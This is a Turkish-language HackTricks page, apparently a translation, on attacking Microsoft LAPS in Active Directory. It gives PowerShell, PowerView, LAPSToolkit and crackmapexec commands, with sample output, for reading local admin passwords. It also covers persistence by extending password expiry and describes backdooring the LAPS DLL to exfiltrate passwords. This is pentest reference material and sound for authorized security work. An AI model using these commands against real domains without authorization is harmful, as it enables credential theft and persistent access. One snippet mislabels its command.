9.6 KiB
LAPS
AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'a katılın!
- Bir cybersecurity şirketinde çalışıyor musunuz? Şirketinizi HackTricks'te reklamını yapmak ister misiniz? veya PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonunu.
- Resmi PEASS & HackTricks ürünlerini edinin.
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦@carlospolopm'u takip edin.
- Hacking hilelerinizi hacktricks repo ve hacktricks-cloud repo'a PR göndererek paylaşın.
Temel Bilgiler
Local Administrator Password Solution (LAPS), benzersiz, rastgele ve sık sık değiştirilen yönetici parolalarının uygulandığı bir sistem yönetimi aracıdır. Bu parolalar, Active Directory içinde güvenli bir şekilde depolanır ve yalnızca Erişim Kontrol Listeleri (ACL'ler) aracılığıyla izin verilen kullanıcılar tarafından erişilebilir. İstemciden sunucuya yapılan parola iletimlerinin güvenliği, Kerberos sürüm 5 ve Advanced Encryption Standard (AES) kullanılarak sağlanır.
LAPS'nin uygulanmasıyla, etki alanının bilgisayar nesnelerine ms-mcs-AdmPwd
ve ms-mcs-AdmPwdExpirationTime
olmak üzere iki yeni özellik eklenir. Bu özellikler, sırasıyla düz metin yönetici parolasını ve son kullanma zamanını depolar.
Aktifleştirilip aktifleştirilmediğini kontrol edin
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
dir "C:\Program Files\LAPS\CSE"
# Check if that folder exists and contains AdmPwd.dll
# Find GPOs that have "LAPS" or some other descriptive term in the name
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
LAPS Parola Erişimi
\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol
adresinden LAPS politikasının ham halini indirebilirsiniz ve ardından bu dosyayı insan tarafından okunabilir formata dönüştürmek için GPRegistryPolicyParser paketinde bulunan Parse-PolFile
kullanılabilir.
Ayrıca, yerel LAPS PowerShell cmdlet'leri kullanılabilirse, erişimi olan bir makinede kullanılabilir:
Get-Command *AdmPwd*
CommandType Name Version Source
----------- ---- ------- ------
Cmdlet Find-AdmPwdExtendedRights 5.0.0.0 AdmPwd.PS
Cmdlet Get-AdmPwdPassword 5.0.0.0 AdmPwd.PS
Cmdlet Reset-AdmPwdPassword 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdAuditing 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdComputerSelfPermission 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdReadPasswordPermission 5.0.0.0 AdmPwd.PS
Cmdlet Set-AdmPwdResetPasswordPermission 5.0.0.0 AdmPwd.PS
Cmdlet Update-AdmPwdADSchema 5.0.0.0 AdmPwd.PS
# List who can read LAPS password of the given OU
Find-AdmPwdExtendedRights -Identity Workstations | fl
# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
PowerView ayrıca kimin şifreyi okuyabileceğini ve okuyabileceğini bulmak için de kullanılabilir:
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
LAPSToolkit
LAPSToolkit, LAPS'ı birkaç fonksiyonla sıralamayı kolaylaştırır.
Bunlardan biri, LAPS etkin olan tüm bilgisayarlar için ExtendedRights'in ayrıştırılmasıdır. Bu, genellikle korunan gruplardaki kullanıcılar olan LAPS şifrelerini okuma yetkisine sahip olan grupları gösterecektir.
Bir hesap, bir bilgisayarı bir etki alanına katıldığında, o makine üzerinde Tüm Extended Rights
alır ve bu hak, hesaba şifreleri okuma yeteneği verir. Sıralama, bir makinedeki LAPS şifresini okuyabilen bir kullanıcı hesabını gösterebilir. Bu, LAPS şifrelerini okuyabilen belirli AD kullanıcılarını hedeflememize yardımcı olabilir.
# Get groups that can read passwords
Find-LAPSDelegatedGroups
OrgUnit Delegated Groups
------- ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain Admins
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin
# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
Find-AdmPwdExtendedRights
ComputerName Identity Reason
------------ -------- ------
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins Delegated
MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated
# Get computers with LAPS enabled, expirations time and the password (if you have access)
Get-LAPSComputers
ComputerName Password Expiration
------------ -------- ----------
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
Crackmapexec ile LAPS Şifrelerini Sızdırma
Eğer bir powershell erişimi yoksa, LDAP üzerinden bu yetkiyi kötüye kullanarak uzaktan erişim sağlanabilir. Bunun için aşağıdaki adımları izleyin:
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
Bu, kullanıcının okuyabileceği tüm şifreleri dökecek ve farklı bir kullanıcıyla daha iyi bir yerleşim elde etmenizi sağlayacaktır.
LAPS Kalıcılığı
Son Kullanma Tarihi
Yönetici olduktan sonra, şifreleri elde etmek ve bir makinenin şifresini güncellemesini önlemek için son kullanma tarihini geleceğe ayarlamak mümkündür.
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
# Change expiration time
## It's needed SYSTEM on the computer
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
{% hint style="warning" %}
Parola, bir admin tarafından Reset-AdmPwdPassword
cmdlet kullanıldığında veya LAPS GPO'da Politika tarafından gereklenden daha uzun bir parola süresi izin verilmez seçeneği etkinleştirildiğinde hala sıfırlanır.
{% endhint %}
Arka Kapı
LAPS için orijinal kaynak kodu burada bulunabilir, bu nedenle kodun içine (örneğin Main/AdmPwd.PS/Main.cs
içindeki Get-AdmPwdPassword
yöntemi içine) bir arka kapı yerleştirmek mümkündür. Bu arka kapı, yeni parolaları bir şekilde dışarıya sızdıracak veya bir yerde depolayacak şekilde tasarlanmalıdır.
Ardından, yeni AdmPwd.PS.dll
derlenir ve makineye C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll
yoluna yüklenir (ve değiştirilme zamanı değiştirilir).
Referanslar
AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Red Team Expert) ile öğrenin!
- Bir cybersecurity şirketinde çalışıyor musunuz? Şirketinizi HackTricks'te reklamını yapmak ister misiniz? veya PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!
- The PEASS Family koleksiyonumuzu keşfedin, özel NFT'ler
- Resmi PEASS & HackTricks ürünlerini edinin
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦@carlospolopm'u takip edin.
- Hacking hilelerinizi hacktricks repo ve hacktricks-cloud repo'ya PR göndererek paylaşın.